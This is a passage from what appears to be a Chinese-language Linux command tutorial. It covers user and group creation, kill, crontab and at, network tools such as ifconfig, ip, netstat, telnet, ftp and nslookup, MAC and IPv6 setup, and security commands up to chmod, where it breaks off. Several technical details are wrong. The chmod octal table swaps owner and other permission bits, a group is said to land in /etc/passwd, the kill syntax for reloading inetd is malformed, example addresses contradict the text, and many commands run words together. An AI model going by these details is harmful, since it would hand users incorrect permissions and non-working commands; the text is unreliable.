-d:指定用户登入时的启始目录。-D:变更预设值。-e:指定账号的有效期限,缺省表示永久有效。-f:指定在密码过期后多少天即关闭该账号。-g:指定用户所属的群组。-G:指定用户所属的附加群组。-m:自动建立用户的登入目录。-M:不要自动建立用户的登入目录。-n:取消建立以用户名称为名的群组。-r:建立系统账号。-s:指定用户登入后所使用的shell。-u:指定用户ID号。4.说明useradd可用来建立用户账号,它和adduser命令是相同的。账号建好之后,再用passwd设定账号的密码。使用useradd命令所建立的账号,实际上是保存在/etc/passwd文本文件中。5.应用实例建立一个新用户账户,并设置ID:#useraddcaojh -u 544需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。groupadd1.作用groupadd命令用于将新组加入系统。2.格式groupadd [-g gid][-o]] [-r] [-f] groupname3.主要参数-g gid:指定组ID号。-o:允许组ID号,不必惟一。-r:加入组ID号,低于499系统账号。-f:加入已经有的组时,发展程序退出。4.应用实例建立一个新组,并设置组ID加入系统:#groupadd-g 344cjh此时在/etc/passwd文件中产生一个组ID(GID)是344的项目。kill1.作用kill命令用来中止一个进程。2.格式kill [ -ssignal | -p ] [ -a ] pid ...kill -l [signal ]3.参数-s:指定发送的信号。-p:模拟发送信号。-l:指定信号的名称列表。pid:要中止进程的ID号。Signal:表示信号。4.说明进程是Linux系统中一个非常重要的概念。Linux是一个多任务的操作系统,系统上经常同时运行着多个进程。我们不关心这些进程究竟是如何分配的,或者是内核如何管理分配时间片的,所关心的是如何去控制这些进程,让它们能够很好地为用户服务。Linux 操作系统包括三种不同类型的进程,每种进程都有自己的特点和属性。交互进程是由一个Shell启动的进程。交互进程既可以在前台运行,也可以在后台运行。批处理进程和终端没有联系,是一个进程序列。监控进程(也称系统守护进程)时Linux系统启动时启动的进程,并在后台运行。例如,httpd是著名的Apache服务器的监控进程。kill命令的工作原理是,向Linux系统的内核发送一个系统操作信号和某个程序的进程标识号,然后系统内核就可以对进程标识号指定的进程进行操作。比如在top命令中,我们看到系统运行许多进程,有时就需要使用kill中止某些进程来提高系统资源。在讲解安装和登陆命令时,曾提到系统多个虚拟控制台的作用是当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作关闭这个程序。此时使用的命令就是kill,因为kill是大多数Shell内部命令可以直接调用的。5.应用实例(1)强行中止(经常使用杀掉)一个进程标识号为324的进程:#kill -9 324(2)解除Linux系统的死锁在Linux 中有时会发生这样一种情况:一个程序崩溃,并且处于死锁的状态。此时一般不用重新启动计算机,只需要中止(或者说是关闭)这个有问题的程序即可。当 kill处于X-Window界面时,主要的程序(除了崩溃的程序之外)一般都已经正常启动了。此时打开一个终端,在那里中止有问题的程序。比如,如果 Mozilla浏览器程序出现了锁死的情况,可以使用kill命令来中止所有包含有Mozolla浏览器的程序。首先用top命令查处该程序的PID,然后使用kill命令停止这个程序:#kill -SIGKILL XXX其中,XXX是包含有Mozolla浏览器的程序的进程标识号。(3)使用命令回收内存我们知道内存对于系统是非常重要的,回收内存可以提高系统资源。kill命令可以及时地中止一些“越轨”的程序或很长时间没有相应的程序。例如,使用top命令发现一个无用(Zombie) 的进程,此时可以使用下面命令:#kill -9 XXX其中,XXX是无用的进程标识号。然后使用下面命令:#free此时会发现可用内存容量增加了。(4)killall命令Linux下还提供了一个killall命令,可以直接使用进程的名字而不是进程标识号,例如:#killall -HUP inetdcrontab1.作用使用crontab命令可以修改crontab配置文件,然后该配置由cron公用程序在适当的时间执行,该命令使用权限是所有用户。2.格式crontab [ -u user] 文件crontab [ -u user] { -l | -r | -e }3.主要参数-e:执行文字编辑器来设定时程表,内定的文字编辑器是vi。-r:删除目前的时程表。-l:列出目前的时程表。crontab 文件的格式为“M H Dm d cmd”。其中,M代表分钟(0~59),H代表小时(0~23),D代表天(1~31),m代表月(1~12),d代表一星期内的天(0~6,0为星期天)。cmd表示要运行的程序,它被送入sh执行,这个Shell只有USER、HOME、SHELL三个环境变量。4.说明和at命令相比,crontab命令适合完成固定周期的任务。5.应用实例设置一个定时、定期的系统提示:[cao @www cao]#crontab -e此时系统会打开一个vi编辑器。如果输入以下内容:35 17 * * 5 wall\"Tomorrow is Saturday I will go CS\",然后存盘退出。这时在/var/spool/cron/目录下会生产一个cao的文件,内容如下:# DO NOT EDIT THIS FILE - edit the master and reinstall.# (/tmp/crontab.2707 installed on Thu Jan 1 22:01:51 2004)# (Cron version -- $Id:crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)35 17 * * 5 wall \"Tomorrow is Saturday I will play CS \"这样每个星期五17:35系统就会弹出一个终端,提醒星期六可以打打CS了!显示结果见图3所示。图3 一个定时、定期的系统提示动手练习1.联合使用kill和top命令观察系统性能的变化首先启动一个终端运行top命令,然后再启动一个终端使用kill命令,见图4所示。图4 观察kill命令对top终端的影响这时利用上面介绍的kill命令来中止一些程序:#killSIGKILL XXX然后再看top命令终端的变化,包括内存容量、CPU使用率、系统负载等。注意,有些进程是不能中止的,不过学习Linux命令时可以试试,看看系统有什么反应。2.使用at和halt命令定时关机首先设定关机时间是17:35,输入下面代码:#at 17:35warning: commands will be executed using (in order) a) $SHELL b) login shell c)/bin/shat>halt `-i -pat> <EOT>job 6 at 2004-01-01 17:35此时实际上就已经进入Linux系统的Shell,并且编写一个最简单程序:halt -i -p。上面Shell中的文本结束符号表示按“Ctrl+D”组合键关闭命令,提交任务退出Shell。“Job 6 at 2004-01-01 17:35”表示系统接受第6个at命令,在“2004-01-01 17:35”时执行命令:先把所有网络相关的装置停止,关闭系统后关闭电源。3.用crontab命令实现每天定时的病毒扫描前面已经介绍了一个简单的crontab命令操作,这里看一些更重要的操作。(1)建立一个文件,文件名称自己设定,假设为caoproject:#crontab-e(2)文件内容如下:05 09 * * * antivir用vi编辑后存盘退出。antivir是一个查杀Linux病毒的软件,当然需要时先安装在系统中。(3)使用crontab命令添加到任务列表中:#crontabcaoproject这样系统内所有用户在每天的9点05分会自动进行病毒扫描。4.用kill使修改的配置文件马上生效Windows用户一般都知道,重要配置文件修改后往往都要重新启动计算机才能使修改生效。而Linux由于采用了模块化设计,可以自己根据需要实时设定服务。这里以网络服务inetd为例介绍一些操作技巧。inetd 是一个监听守护进程,监听与提供互联网服务进程(如rlogin、telnet、ftp、rsh)进行连接的要求,并扩展所需的服务进程。默认情况下, inetd监听的这些daemon均列于/etc/inetd.conf文件中。编辑/etc/inetd.conf文件,可以改变inetd启动服务器守护进程的选项,然后驱使inetd以 SIGHUP(signal 1)向当前的inetd进程发送信号,使inetd重读该文件。这一过程由kill命令来实现。用vi或其它编辑器修改inetd.conf后,首先使用下面命令:#ps -ef|grep inetd上面代码表明查询inetd.conf的进程号(PID),这里假设是1426,然后使用下面命令:# kill-1426 inetd这样配置文件就生效了。这一讲介绍的系统管理命令都是比较重要的,特别是crontab命令和quota命令使用起来会有一定难度,需要多做一些练习。另外,使用kill命令要注意“-9“这个参数,练习时最好不要运行一些重要的程序。(4)-网络操作命令因为Linux系统是在Internet上起源和发展的,它与生俱来拥有强大的网络功能和丰富的网络应用软件,尤其是TCP/IP网络协议的实现尤为成熟。 Linux的网络命令比较多,其中一些命令像ping、 ftp、telnet、route、netstat等在其它操作系统上也能看到,但也有一些Unix/Linux系统独有的命令,如ifconfig、 finger、mail等。Linux网络操作命令的一个特点是,命令参数选项和功能很多,一个命令往往还可以实现其它命令的功能。ifconfig1.作用ifconfig用于查看和更改网络接口的地址和参数,包括IP地址、网络掩码、广播地址,使用权限是超级用户。2.格式ifconfig -interface [options] address3.主要参数-interface:指定的网络接口名,如eth0和eth1。up:激活指定的网络接口卡。down:关闭指定的网络接口。broadcast address:设置接口的广播地址。pointopoint:启用点对点方式。address:设置指定接口设备的IP地址。netmask address:设置接口的子网掩码。4.应用说明ifconfig是用来设置和配置网卡的命令行工具。为了手工配置网络,这是一个必须掌握的命令。使用该命令的好处是无须重新启动机器。要赋给eth0接口IP地址207.164.186.2,并且马上激活它,使用下面命令:#fconfig eth0 210.34.6.89 netmask 255.255.255.128 broadcast 210.34.6.127该命令的作用是设置网卡eth0的IP地址、网络掩码和网络的本地广播地址。若运行不带任何参数的ifconfig命令,这个命令将显示机器所有激活接口的信息。带有“-a”参数的命令则显示所有接口的信息,包括没有激活的接口。注意,用ifconfig命令配置的网络设备参数,机器重新启动以后将会丢失。如果要暂停某个网络接口的工作,可以使用down参数:#ifconfig eth0 downip1.作用ip是iproute2软件包里面的一个强大的网络配置工具,它能够替代一些传统的网络管理工具,例如ifconfig、route等,使用权限为超级用户。几乎所有的Linux发行版本都支持该命令。2.格式ip [OPTIONS] OBJECT [COMMAND [ARGUMENTS]]3.主要参数OPTIONS是修改ip行为或改变其输出的选项。所有的选项都是以-字符开头,分为长、短两种形式。目前,ip支持如表1所示选项。OBJECT是要管理者获取信息的对象。目前ip认识的对象见表2所示。表1 ip支持的选项-V,-Version 打印ip的版本并退出。-s,-stats,-statistics 输出更为详尽的信息。如果这个选项出现两次或多次,则输出的信息将更为详尽。-f,-family 这个选项后面接协议种类,包括inet、inet6或link,强调使用的协议种类。如果没有足够的信息告诉ip使用的协议种类,ip就会使用默认值inet或any。link比较特殊,它表示不涉及任何网络协议。-4 是-familyinet的简写。-6 是-familyinet6的简写。-0 是-familylink的简写。-o,-oneline 对每行记录都使用单行输出,回行用字符代替。如果需要使用wc、grep等工具处理ip的输出,则会用到这个选项。-r,-resolve 查询域名解析系统,用获得的主机名代替主机IP地址COMMAND 设置针对指定对象执行的操作,它和对象的类型有关。一般情况下,ip支持对象的增加(add)、删除(delete)和展示(show或list)。有些对象不支持这些操作,或者有其它的一些命令。对于所有的对象,用户可以使用help命令获得帮助。这个命令会列出这个对象支持的命令和参数的语法。如果没有指定对象的操作命令,ip会使用默认的命令。一般情况下,默认命令是list,如果对象不能列出,就会执行help命令。ARGUMENTS 是命令的一些参数,它们倚赖于对象和命令。ip支持两种类型的参数:flag和parameter。flag由一个关键词组成;parameter由一个关键词加一个数值组成。为了方便,每个命令都有一个可以忽略的默认参数。例如,参数dev是ip link命令的默认参数,因此iplink ls eth0等于iplink ls dev eth0。我们将在后面的详细介绍每个命令的使用,命令的默认参数将使用default标出。4.应用实例添加IP地址192.168.2.2/24到eth0网卡上:#ip addr add 192.168.1.1/24 dev eth0丢弃源地址属于192.168.2.0/24网络的所有数据报:#ip rule add from 192.168.2.0/24 prio 32777 rejectping1.作用ping检测主机网络接口状态,使用权限是所有用户。2.格式ping [-dfnqrRv][-c][-i][-I][-l][-p][-s][-t] IP地址3.主要参数-d:使用Socket的SO_DEBUG功能。-c:设置完成要求回应的次数。-f:极限检测。-i:指定收发信息的间隔秒数。-I:网络界面使用指定的网络界面送出数据包。-l:前置载入,设置在送出要求信息之前,先行发出的数据包。-n:只输出数值。-p:设置填满数据包的范本样式。-q:不显示指令执行过程,开头和结尾的相关信息除外。-r:忽略普通的RoutingTable,直接将数据包送到远端主机上。-R:记录路由过程。-s:设置数据包的大小。-t:设置存活数值TTL的大小。-v:详细显示指令的执行过程。ping 命令是使用最多的网络指令,通常我们使用它检测网络是否连通,它使用ICMP协议。但是有时会有这样的情况,我们可以浏览器查看一个网页,但是却无法 ping通,这是因为一些网站处于安全考虑安装了防火墙。另外,也可以在自己计算机上试一试,通过下面的方法使系统对ping没有反应:# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_allnetstat1.作用检查整个Linux网络状态。2.格式netstat [-acCeFghilMnNoprstuvVwx][-A][--ip]3.主要参数-a--all:显示所有连线中的Socket。-A:列出该网络类型连线中的IP相关地址和网络类型。-c--continuous:持续列出网络状态。-C--cache:显示路由器配置的快取信息。-e--extend:显示网络其它相关信息。-F--fib:显示FIB。-g--groups:显示多重广播功能群组组员名单。-h--help:在线帮助。-i--interfaces:显示网络界面信息表单。-l--listening:显示监控中的服务器的Socket。-M--masquerade:显示伪装的网络连线。-n--numeric:直接使用IP地址,而不通过域名服务器。-N--netlink--symbolic:显示网络硬件外围设备的符号连接名称。-o--timers:显示计时器。-p--programs:显示正在使用Socket的程序识别码和程序名称。-r--route:显示RoutingTable。-s--statistice:显示网络工作信息统计表。-t--tcp:显示TCP传输协议的连线状况。-u--udp:显示UDP传输协议的连线状况。-v--verbose:显示指令执行过程。-V--version:显示版本信息。-w--raw:显示RAW传输协议的连线状况。-x--unix:和指定“-Aunix”参数相同。--ip--inet:和指定“-Ainet”参数相同。4.应用实例netstat 主要用于Linux察看自身的网络状况,如开启的端口、在为哪些用户服务,以及服务的状态等。此外,它还显示系统路由表、网络接口状态等。可以说,它是一个综合性的网络状态的察看工具。在默认情况下,netstat只显示已建立连接的端口。如果要显示处于监听状态的所有端口,使用-a参数即可:#netstat -aActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 0 *:32768 *:* LISTENtcp 0 0 *:32769 *:* LISTENtcp 0 0 *:nfs *:* LISTENtcp 0 0 *:32770 *:* LISTENtcp 0 0 *:868 *:* LISTENtcp 0 0 *:617 *:* LISTENtcp 0 0 *:mysql *:* LISTENtcp 0 0 *:netbios-ssn *:* LISTENtcp 0 0 *:sunrpc *:* LISTENtcp 0 0 *:10000 *:* LISTENtcp 0 0 *:http *:* LISTEN......上面显示出,这台主机同时提供HTTP、FTP、NFS、MySQL等服务。telnet1.作用telnet表示开启终端机阶段作业,并登入远端主机。telnet是一个Linux命令,同时也是一个协议(远程登陆协议)。2.格式telnet [-8acdEfFKLrx][-b][-e][-k][-l][-n][-S][-X][主机名称IP地址<通信端口>]3.主要参数-8:允许使用8位字符资料,包括输入与输出。-a:尝试自动登入远端系统。-b:使用别名指定远端主机名称。-c:不读取用户专属目录里的.telnetrc文件。-d:启动排错模式。-e:设置脱离字符。-E:滤除脱离字符。-f:此参数的效果和指定“-F”参数相同。-F:使用KerberosV5认证时,加上此参数可把本地主机的认证数据上传到远端主机。-k:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名。-K:不自动登入远端主机。-l:指定要登入远端主机的用户名称。-L:允许输出8位字符资料。-n:指定文件记录相关信息。-r:使用类似rlogin指令的用户界面。-S:服务类型,设置telnet连线所需的IP TOS信息。-x:假设主机有支持数据加密的功能,就使用它。-X:关闭指定的认证形态。4.应用说明用户使用telnet命令可以进行远程登录,并在远程计算机之间进行通信。用户通过网络在远程计算机上登录,就像登录到本地机上执行命令一样。为了通过telnet登录到远程计算机上,必须知道远程机上的合法用户名和口令。虽然有些系统确实为远程用户提供登录功能,但出于对安全的考虑,要限制来宾的操作权限,因此,这种情况下能使用的功能是很少的。telnet只为普通终端提供终端仿真,而不支持X-Window等图形环境。当允许远程用户登录时,系统通常把这些用户放在一个受限制的Shell中,以防系统被怀有恶意的或不小心的用户破坏。用户还可以使用telnet从远程站点登录到自己的计算机上,检查电子邮件、编辑文件和运行程序,就像在本地登录一样。ftp1.作用ftp命令进行远程文件传输。FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身,所以ftp既是协议又是一个命令。2.格式ftp [-dignv][主机名称IP地址]3.主要参数-d:详细显示指令执行过程,便于排错分析程序执行的情形。-i:关闭互动模式,不询问任何问题。-g:关闭本地主机文件名称支持特殊字符的扩充特性。-n:不使用自动登陆。-v:显示指令执行过程。4.应用说明ftp 命令是标准的文件传输协议的用户接口,是在TCP/IP网络计算机之间传输文件简单有效的方法,它允许用户传输ASCⅡ文件和二进制文件。为了使用ftp 来传输文件,用户必须知道远程计算机上的合法用户名和口令。这个用户名/口令的组合用来确认ftp会话,并用来确定用户对要传输的文件进行什么样的访问。另外,用户需要知道对其进行ftp会话的计算机名字的IP地址。用户可以通过使用ftp客户程序,连接到另一台计算机上;可以在目录中上下移动、列出目录内容;可以把文件从远程计算机机拷贝到本地机上;还可以把文件从本地机传输到远程系统中。ftp内部命令有72个,下面列出主要几个内部命令:ls:列出远程机的当前目录。cd:在远程机上改变工作目录。lcd:在本地机上改变工作目录。close:终止当前的ftp会话。hash:每次传输完数据缓冲区中的数据后就显示一个#号。get(mget):从远程机传送指定文件到本地机。put(mput):从本地机传送指定文件到远程机。quit:断开与远程机的连接,并退出ftp。route1.作用route表示手工产生、修改和查看路由表。2.格式#route [-add][-net|-host] targetaddress [-netmask Nm][dev]If]#route [-delete][-net|-host]targetaddress [gw Gw] [-netmask Nm] [dev]If]3.主要参数-add:增加路由。-delete:删除路由。-net:路由到达的是一个网络,而不是一台主机。-host:路由到达的是一台主机。-netmask Nm:指定路由的子网掩码。gw:指定路由的网关。[dev]If:强迫路由链指定接口。4.应用实例route命令是用来查看和设置Linux系统的路由信息,以实现与其它网络的通信。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。在Linux系统中,设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的IP地址设置为Linux机器的默认路由。使用下面命令可以增加一个默认路由:route add 0.0.0.0 192.168.1.1rlogin1.作用rlogin用来进行远程注册。2.格式rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host3.主要参数-8:此选项始终允许8位输入数据通道。该选项允许发送格式化的ANSI字符和其它的特殊代码。如果不用这个选项,除非远端的不是终止和启动字符,否则就去掉奇偶校验位。-E:停止把任何字符当作转义字符。当和-8选项一起使用时,它提供一个完全的透明连接。-K:关闭所有的Kerberos确认。只有与使用Kerberos确认协议的主机连接时才使用这个选项。-L:允许rlogin会话在litout模式中运行。要了解更多信息,请查阅tty联机帮助。-d:打开与远程主机进行通信的TCP sockets的socket调试。要了解更多信息,请查阅setsockopt的联机帮助。-e:为rlogin会话设置转义字符,默认的转义字符是“~”。-k:请求rlogin获得在指定区域内远程主机的Kerberos许可,而不是获得由krb_realmofhost(3)确定的远程主机区域内的远程主机的Kerberos许可。-x:为所有通过rlogin会话传送的数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。4.使用说明如果在网络中的不同系统上都有账号,或者可以访问别人在另一个系统上的账号,那么要访问别的系统中的账号,首先就要注册到系统中,接着通过网络远程注册到账号所在的系统中。rlogin可以远程注册到别的系统中,它的参数应是一个系统名。rcp1.作用rcp代表远程文件拷贝,用于计算机之间文件拷贝,使用权限是所有用户。2.格式rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file3.主要参数-r:递归地把源目录中的所有内容拷贝到目的目录中。要使用这个选项,目的必须是一个目录。-p:试图保留源文件的修改时间和模式,忽略umask。-k:请求rcp获得在指定区域内的远程主机的Kerberos许可,而不是获得由krb_relmofhost(3)确定的远程主机区域内的远程主机的Kerberos许可。-x:为传送的所有数据打开DES加密。finger1.作用finger用来查询一台主机上的登录账号的信息,通常会显示用户名、主目录、停滞时间、登录时间、登录Shell等信息,使用权限为所有用户。2.格式finger [选项] [使用者] [用户@主机]3.主要参数-s:显示用户注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。-l:除了用-s选项显示的信息外,还显示用户主目录、登录Shell、邮件状态等信息,以及用户主目录下的.plan、.project和.forward文件的内容。-p:除了不显示.plan文件和.project文件以外,与-l选项相同。4.应用实例在计算机上使用finger:[root@localhost root]# FingerLogin Name Tty Idle Login Time Office Office Phoneroot root tty1 2 Dec 15 11root root pts/0 1 Dec 15 11root root *pts/1 Dec 15 115.应用说明如果要查询远程机上的用户信息,需要在用户名后面接“@主机名”,采用[用户名@主机名]的格式,不过要查询的网络主机需要运行finger守护进程的支持。mail1.作用mail作用是发送电子邮件,使用权限是所有用户。此外,mail还是一个电子邮件程序。2.格式mail [-s subject] [-c address][-b address]mail -f [mailbox]mail [-u user]3.主要参数-b address:表示输出信息的匿名收信人地址清单。-c address:表示输出信息的抄送()收信人地址清单。-f [mailbox]:从收件箱者指定邮箱读取邮件。-s subject:指定输出信息的主体行。[-u user]:端口指定优化的收件箱读取邮件。nslookup1.作用nslookup命令的功能是查询一台机器的IP地址和其对应的域名。使用权限所有用户。它通常需要一台域名服务器来提供域名服务。如果用户已经设置好域名服务器,就可以用这个命令查看不同主机的IP地址对应的域名。2.格式nslookup [IP地址/域名]3.应用实例(1)在本地计算机上使用nslookup命令$ nslookupDefault Server: name.cao.com.cnAddress: 192.168.1.9>在符号“>”后面输入要查询的IP地址域名,并回车即可。如果要退出该命令,输入“exit”,并回车即可。(2)使用nslookup命令测试named输入下面命令:nslookup然后就进入交换式nslookup环境。如果named正常启动,则nslookup会显示当前DNS服务器的地址和域名,否则表示named没能正常启动。下面简单介绍一些基本的DNS诊断。◆ 检查正向DNS解析,在nslookup提示符下输入带域名的主机名,如hp712.my.com,nslookup应能显示该主机名对应的IP地址。如果只输入hp712,nslookup会根据/etc/resolv.conf的定义,自动添加my.com域名,并回答对应的IP地址。◆检查反向DNS解析,在nslookup提示符下输入某个IP地址,如192.22.33.20,nslookup应能回答该IP地址所对应的主机名。◆检查MX邮件地址记录在nslookup提示符下输入:set q=mx然后输入某个域名,输入my.com和mail.my.com,nslookup应能够回答对应的邮件服务器地址,即support.my.com和support2.my.com。动手练习1.危险的网络命令互联网的发展使安全成为一个不能忽视的问题,finger、ftp、rcp和telnet在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,嗅探器可以非常容易地截获这些口令和数据。而且,这些服务程序的安全验证方式也是有弱点的,很容易受到“中间服务器”方式的攻击。这里笔者把一些不安全的命令根据危险等级列出,见表3所示。现在ftp、telnet可以被SSH命令代替绑定在端口22上,其连接采用协商方式,使用RSA加密。身份鉴别完成之后,后面的所有流量都使用IDEA 进行加密。SSH(Secure Shell)程序可以通过网络登录到远程主机,并执行命令。rcp、rlogin等远程调用命令也逐渐被VNC软件代替。2.在一张网卡上绑定多个IP地址在Linux下,可以使用ifconfig方便地绑定多个IP地址到一张网卡。例如,eth0接口的原有IP地址为192.168.0.254,可以执行下面命令:ifconfig eth0:0 192.168.0.253netmask 255.255.255.0ifconfig eth0:1 192.168.0.252 netmask 255.255.255.0......3.修改网卡MAC地址首先必须关闭网卡设备,命令如下:/sbin/ifconfig eth0 down修改MAC地址,命令如下:/sbin/ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE重新启用网卡:/sbin/ifconfig eht0 up这样网卡的MAC地址就更改完成了。每张网卡的MAC地址是惟一,但不是不能修改的,只要保证在网络中的MAC地址的惟一性就可以了。4.初步部署IPv6IPv4 技术在网络发展中起到了巨大的作用,不过随着时间的流逝它无论在网络地址的提供、服务质量、安全性等方面都越来越力不从心,IPv6呼之欲出。Linux 是所有操作系统中最先支持IPv6的,一般Linux基于2.4内核的Linux发行版本都可以直接使用IPv6,不过主要发行版本没有加载IPv6模块,可以使用命令手工加载,需要超级用户的权限。(1)加载IPv6模块使用命令检测,其中inet6addr: fe80::5054:abff:fe34:5b09/64,就是eth0网卡的IPv6地址。# modprobe IPv6#ifconfigeth0 Link encap:Ethernet HWaddr 52:54:AB:34:5B:09inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0inet6 addr: fe80::5054:abff:fe34:5b09/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:0 errors:0 dropped:0 overruns:0 frame:0TX packets:21 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:100RX bytes:0 (0.0 b) TX bytes:1360 (1.3 Kb)Interrupt:5 Base address:0xec00(2)使用ping命令检测网卡的IPv6地址是否有效#ping6 -I eth0 -c 2 fe80::200:e8ff:fea0:2586和IPv4不一样,使用ping6命令时必须指定一个网卡界面,否则系统不知道将数据包发送到哪个网络设备。I表示Interface、eth0是第一个网卡,-c表示回路,2表示ping6操作两次。结果见图1所示。图1 IPv6网络下的ping6命令(3)使用ip命令在IPv6下为eth0增加一个IP地址#ip -6 addr add 3ffe:ffff:0:f101::1/64 dev eth0使用ifconfig命令,查看网卡是否出现第二个IPv6地址。Linux网络的主要优点是能够实现资源和信息的共享,并且用户可以远程访问信息。Linux提供了一组强有力的网络命令来为用户服务,这些工具能够帮助用户进行网络设定、检查网络状况、登录到远程计算机上、传输文件和执行远程命令等。上面介绍了Linux中比较重要的网络命令,其实Linux还有许多命令需要学习。Linux网络操作命令的一个特点就是命令参数选项很多,并不要求全部记住,关键在于理解命令的主要用途和学会使用帮助信息。(5)-网络安全命令虽然Linux和Windows NT/2000系统一样是一个多用户的系统,但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲,如何保证Linux操作系统安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。passwd1.作用passwd命令原来修改账户的登陆密码,使用权限是所有用户。2.格式passwd [选项] 账户名称3.主要参数-l:锁定已经命名的账户名称,只有具备超级用户权限的使用者方可使用。-u:解开账户锁定状态,只有具备超级用户权限的使用者方可使用。-x, --maximum=DAYS:最大密码使用时间(天),只有具备超级用户权限的使用者方可使用。-n, --minimum=DAYS:最小密码使用时间(天),只有具备超级用户权限的使用者方可使用。-d:删除使用者的密码, 只有具备超级用户权限的使用者方可使用。-S:检查指定使用者的密码认证种类, 只有具备超级用户权限的使用者方可使用。4.应用实例$ passwdChanging password for user cao.Changing password for cao(current) UNIX password:New UNIX password:Retype new UNIX password:passwd: all authentication tokens updated successfully.从上面可以看到,使用passwd命令需要输入旧的密码,然后再输入两次新密码。su1.作用su的作用是变更为其它使用者的身份,超级用户除外,需要键入该使用者的密码。2.格式su [选项]...[-] [USER [ARG]...]3.主要参数-f ,--fast:不必读启动文件(如csh.cshrc 等),仅用于csh或tcsh两种Shell。-l ,--login:加了这个参数之后,就好像是重新登陆为该使用者一样,大部分环境变量(例如HOME、SHELL和USER等)都是以该使用者(USER)为主,并且工作目录也会改变。如果没有指定USER,缺省情况是root。-m, -p ,--preserve-environment:执行su时不改变环境变数。-c command:变更账号为USER的使用者,并执行指令(command)后再变回原来使用者。USER:欲变更的使用者账号,ARG传入新的Shell参数。4.应用实例变更账号为超级用户,并在执行df命令后还原使用者。 su -cdf rootumask1.作用umask设置用户文件和目录的文件创建缺省屏蔽值,若将此命令放入profile文件,就可控制该用户后续所建文件的存取许可。它告诉系统在创建文件时不给谁存取许可。使用权限是所有用户。2.格式umask [-p] [-S] [mode]3.参数-S:确定当前的umask设置。-p:修改umask 设置。[mode]:修改数值。4.说明传统Unix的umask值是022,这样就可以防止同属于该组的其它用户及别的组的用户修改该用户的文件。既然每个用户都拥有并属于一个自己的私有组,那么这种“组保护模式”就不在需要了。严密的权限设定构成了Linux安全的基础,在权限上犯错误是致命的。需要注意的是,umask命令用来设置进程所创建的文件的读写权限,最保险的值是0077,即关闭创建文件的进程以外的所有进程的读写权限,表示为-rw-------。在~/.bash_profile中,加上一行命令umask0077可以保证每次启动Shell后, 进程的umask权限都可以被正确设定。5.应用实例umask -Su=rwx,g=rx,o=rxumask -p 177umask -Su=rw,g=,o=上述5行命令,首先显示当前状态,然后把umask值改为177,结果只有文件所有者具有读写文件的权限,其它用户不能访问该文件。这显然是一种非常安全的设置。chgrp1.作用chgrp表示修改一个或多个文件或目录所属的组。使用权限是超级用户。2.格式chgrp [选项]... 组 文件...或chgrp [选项]...--reference=参考文件 文件...将每个<文件>的所属组设定为<组>。3.参数-c, --changes :像--verbose,但只在有更改时才显示结果。--dereference:会影响符号链接所指示的对象,而非符号链接本身。-h, --no-dereference:会影响符号链接本身,而非符号链接所指示的目的地(当系统支持更改符号链接的所有者,此选项才有效)。-f, --silent, --quiet:去除大部分的错误信息。--reference=参考文件:使用<参考文件>的所属组,而非指定的<组>。-R, --recursive:递归处理所有的文件及子目录。-v, --verbose:处理任何文件都会显示信息。4.应用说明该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。5.应用实例改变/opt/local/book/及其子目录下的所有文件的属组为book,命令如下:$ chgrp - R book /opt/local /bookchmod1.作用chmod命令是非常重要的,用于改变文件或目录的访问权限,用户可以用它控制文件或目录的访问权限,使用权限是超级用户。2.格式chmod命令有两种用法。一种是包含字母和操作符表达式的字符设定法(相对权限设定);另一种是包含数字的数字设定法(绝对权限设定)。(1)字符设定法chmod [who] [+ | - | =] [mode] 文件名◆操作对象who可以是下述字母中的任一个或它们的组合u:表示用户,即文件或目录的所有者。g:表示同组用户,即与文件属主有相同组ID的所有用户。o:表示其它用户。a:表示所有用户,它是系统默认值。◆操作符号+:添加某个权限。-:取消某个权限。=:赋予给定权限,并取消其它所有权限(如果有的话)。◆设置mode的权限可用下述字母的任意组合r:可读。w:可写。x:可执行。X:只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x属性。s:文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用户ID位,“g+s”设置组ID位。t:保存程序的文本到交换设备上。u:与文件属主拥有一样的权限。g:与和文件属主同组的用户拥有一样的权限。o:与其它用户拥有一样的权限。文件名:以空格分开的要改变权限的文件列表,支持通配符。一个命令行中可以给出多个权限方式,其间用逗号隔开。(2) 数字设定法数字设定法的一般形式为: chmod[mode] 文件名数字属性的格式应为3个0到7的八进制数,其顺序是(u)(g)(o)文件名,以空格分开的要改变权限的文件列表,支持通配符。数字表示的权限的含义如下:0001为所有者的执行权限;0002为所有者的写权限;0004为所有者的读权限;0010为组的执行权限;0020为组的写权限;0040为组的读权限;0100为其他人的执行权限;0200为其他人的写权限;0400为其他人的读权限;1000为粘贴位置位;2000表示假如这个文件是可执行文件,则为组ID为位置位,否则其中文件锁定位置位;4000表示假如这个文件是可执行文件,则为用户ID为位置位。3.实例如果一个系统管理员写了一个表格(tem)让所有用户填写,那么必须授权用户对这个文件有读写权限,可以使用命令:#chmod666 